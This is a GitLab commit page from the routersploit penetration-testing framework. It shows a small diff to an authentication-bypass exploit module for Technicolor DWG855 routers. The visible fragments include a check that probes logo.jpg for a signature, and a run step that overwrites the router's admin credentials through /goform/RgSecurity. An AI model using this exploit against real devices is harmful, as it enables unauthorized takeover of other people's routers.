Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
f8b4aa2b
Commit
f8b4aa2b
authored
Nov 13, 2016
by
0BuRner
Committed by
GitHub
Nov 13, 2016
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Update dwg855_authbypass.py
parent
761cf45f
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
3 additions
and
3 deletions
+3
-3
dwg855_authbypass.py
...rsploit/modules/exploits/technicolor/dwg855_authbypass.py
+3
-3
No files found.
routersploit/modules/exploits/technicolor/dwg855_authbypass.py
View file @
f8b4aa2b
...
...
@@ -35,6 +35,9 @@ class Exploit(exploits.Exploit):
nuser
=
exploits
.
Option
(
'ruser'
,
'Overwrite old user with.. '
)
npass
=
exploits
.
Option
(
'rpass'
,
'Overwrite old password with.. '
)
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp
=
binascii
.
unhexlify
(
'114475636b7900'
)
# Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
def
run
(
self
):
print_status
(
"Changing "
+
self
.
target
+
" credentials to "
+
self
.
nuser
+
":"
+
self
.
npass
)
url
=
sanitize_url
(
"{}:{}/goform/RgSecurity"
.
format
(
self
.
target
,
self
.
port
))
...
...
@@ -54,9 +57,6 @@ class Exploit(exploits.Exploit):
def
check
(
self
):
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp
=
binascii
.
unhexlify
(
'114475636b7900'
)
# Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
url
=
sanitize_url
(
"{}:{}/logo.jpg"
.
format
(
self
.
target
,
self
.
port
))
user_agent
=
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers
=
{
'User-Agent'
:
user_agent
,
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment